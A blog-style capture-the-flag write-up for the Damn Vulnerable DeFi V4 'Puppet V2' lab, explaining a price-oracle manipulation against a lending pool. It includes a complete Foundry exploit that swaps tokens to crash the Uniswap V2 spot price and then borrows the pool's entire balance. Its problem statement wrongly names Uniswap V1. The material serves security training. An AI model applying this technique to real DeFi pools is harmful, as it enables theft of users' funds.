Challenge 9: Puppet V2, Damn vulnerable defi V4 lazy solutions series
Why Lazy?
I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.
Problem statement:
The challenge centers around exploiting a vulnerability in a lending pool by manipulating its price Oracle. The issue arises from the use of a Uniswap V1 exchange as the price Oracle, which is problematic due to its limited liquidity, making it a poor choice for accurate price calculations.
The Smart Contracts
PuppetV2Pool
PuppetV2Pool contract is modified version of previous V1 contract and here they’ve modified logic of deposit required calculation where they are fetching quote from uniswapPair pool.
And here’s contract flow:
The Vulnerability
The vulnerability in the PuppetV2Pool challenge stems from the way the contract determines the quotation of the DamnValuableToken (DVT) token. It relies on a function called _getOracleQuote
, which calculates the deposit quotation using the balance of the uniswapV2 pair contract’s reserves by uniswapV2Library function quote
:
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
uint256 depositFactor = 3;
return _getOracleQuote(tokenAmount) * depositFactor / 1 ether;
}
// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) =
UniswapV2Library.getReserves({factory: _uniswapFactory, tokenA: address(_weth), tokenB: address(_token)});
return UniswapV2Library.quote({amountA: amount * 10 ** 18, reserveA: reservesToken, reserveB: reservesWETH});
}
At first glance, this method might seem reasonable, as Uniswap is a widely recognized decentralized exchange, and its price data is often used as an oracle in various DeFi projects.
However, the problem lies in the contract's exclusive dependence on the balance of the Uniswap pair to determine the token's price. This heavy reliance on Uniswap's liquidity introduces a significant vulnerability. Here's how the exploit unfolds...
The Attack Strategy
Uniswap liquidity pools, especially those with low liquidity, are vulnerable to manipulation. In the PuppetV2Pool challenge, the balance of the liquidity pool is crucial in determining the token's price. An attacker can exploit this by manipulating the pool's balance to distort the perceived value of the DVT token.
Here's a concise breakdown:
Token Swap: The attacker swaps a large amount of DVT tokens for ETH using Uniswap, dramatically increasing the DVT supply in the pool and crashing its price.
Price Manipulation: This action causes the PuppetV2Pool contract to perceive DVT as nearly worthless when it calls the
quote
function.Minimal Collateral Deposit: Due to the artificially lowered DVT price, the attacker can now borrow all DVT tokens from PuppetV2Pool with minimal ETH collatera
You can clearly notice drastic decrease of depositRequired before(300_000 Eth) and after the swap(29.49 Eth) in following numbers.
After the swap, user has more Eth balance than depositRequired to borrow whole PuppetV2pool token balance, and that’s it!
So, we’ll simply borrow all, and will transfer to recovery address.
Solution
test/puppet-v2/PuppetV2.t.sol
import {UniswapV2Library} from "../../src/puppet-v2/UniswapV2Library.sol";
function test_puppetV2() public checkSolvedByPlayer {
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
console.log('---------- BEFORE SWAP ----------');
uint ethRequired = lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
console.log("DepositOfWETHRequired is: %s", ethRequired);
console.log("Player's eth balance is : %s", player.balance);
console.log("---------- SWAPPING ----------");
token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
uniswapV2Router.swapExactTokensForETH(
PLAYER_INITIAL_TOKEN_BALANCE,
0,
path,
address(player),
block.timestamp*2
);
console.log('---------- AFTER SWAP ----------');
ethRequired = lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
console.log("DepositOfWETHRequired is: %s", ethRequired);
console.log("Player's eth balance is : %s", player.balance);
require(player.balance > ethRequired);
weth.deposit{value:ethRequired}();
weth.approve(address(lendingPool), ethRequired);
lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
}
Let's see it in action,
forge test --mp test/puppet-v2/PuppetV2.t.sol -vv
Succeed!🔥💸
Incase if you need all solutions,
https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions
Subscribe to my newsletter
Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Siddharth Patel
Siddharth Patel
I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.